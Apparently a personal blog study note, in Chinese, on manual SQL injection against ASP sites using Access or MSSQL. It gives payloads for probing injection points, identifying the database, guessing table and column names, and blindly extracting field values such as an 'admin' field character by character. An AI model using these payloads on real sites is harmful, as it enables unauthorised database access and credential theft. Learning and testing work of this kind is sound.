写下来,加深印象,方便后期整理。
判断注入点
可以使用如下方法来判断:
- 特殊符号,\、/、'、"等。
- -0 减数字看是否变化。
- 逻辑关系,and比较常用,这里讲讲or和xor,or、xor和and都是相反的,如果错误的就会回显正常,如果是正确的就会回显不正常。xor肯定是不同为真,相同为假,这个好理解,但是数据库里面or的逻辑关系到是有点奇怪了,同时为真时回显会不正常。
判断数据库类型
asp一般搭载access或者mssql,首先得判断出来是哪一类数据库。
and exists (select * from msysobjects)>0
正常回显即为access数据库,如果报错可看报错信息来判断是否在access数据库。
下面这个为sqlserver的判断语句and exists (select * from sysobjects)>0
猜表名和列名
判断表名和列名有两种常用方法,联合查询和猜解表名。
- 联合查询真的是只能靠猜和工具,完全凭经验。。。先用order by判断列的长度,然后联合查询表,回显正常即为表存在,反之为不存在。然后再接着猜列名。
这里有个地方没搞出来,假设如果admin字段有两个内容,那怎么去查询出第二个内容呢?我这里通过查看db找到了这样的一张表,同一个字段有多个记录,但是查询完只会出现一个记录。也没有找到像mysql中可以使用limit或者gourp_concat之类的方法来搞定这个问题。不过这里想到一个骚操作,一般放用户名的地方可能会存放着user_id或者id这类的字段,如果真的需要猜的话,可以使用这个来完成精确查询。联合查询还是最后等猜解出准确的字段名时再使用时比较好。
这里想到办法解决如何去查第二个字段的方法了。UNION SELECT 1,2,id,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from (select top 1 id from news order by id desc )
这个问题能够解决的话,联合查询似乎更加简单快速。 - 猜解表名。利用exists函数来完成猜解,判断方法和之前一样,存在则为正常显示,反之报错显示。
and exists (select * from 表名)
表名还可以使用这种方法来猜表名,and 0<>(select count(*) from 表名)
列名也只能靠猜,如果猜不到就只能使用偏移注入来碰运气了,偏移注入下篇blog再写。
and exists (select admin from admin)
爆字段内容
爆字段内容要分两步,先猜长度,再猜内容
- 猜长度。
and (select len(admin) from admin)=5
,如果正确则回显正常。 - 猜内容,一个一个字段的猜,和盲注一样的道理。
and (select asc(mid(admin,1,1)) from admin)>95
,asc()仍然还是转换为ascii码的函数,mid(admin,1,1)则为截取admin字段内容的第一个字符的一个字符,也就为第一个字符。 - 但是这样的猜只能猜出一个记录的内容,如果希望爆出更多内容,那么就得优化一下语句了,首先,来判断一下某表的列长度。
and (select count(*) from news)=10
,当然还可以使用between and
来完成判断长度。
效果是一样的,当然最后结果也确实是只有10个字段。
- 接着来看第二个字段的长度,长度为3。
and (select top 1 len(id) from (select top 2 id from news ) order by id desc)=3
- 然后来猜第二个字段的第一个字符了,字符的ascii编码为49即为1。
and (select top 1 asc(mid(id,1,1)) from (select top 2 id from news ) order by id desc)=49
接着来猜第二个字段的第二个字符,字符的ascii编码为57即为9。and (select top 1 asc(mid(id,2,1)) from (select top 2 id from news ) order by id desc)=57
接着来猜第二个字段的第三个字符,字符的ascii编码为50即为2。and (select top 1 asc(mid(id,3,1)) from (select top 2 id from news ) order by id desc)=50
所以第二字段的值为192,和上图中显示一样,其余的字段值也可以这样显示出来。
总结
由于access的系统表不像mysql一样具有系统索引库,所以表名和列名都只能靠猜。。。如果通过社工、工具、经验(比如看后台源码的表单名字)都搞不出来的话,就只能通过偏移来试试运气了,令人不太爽,渣渣access。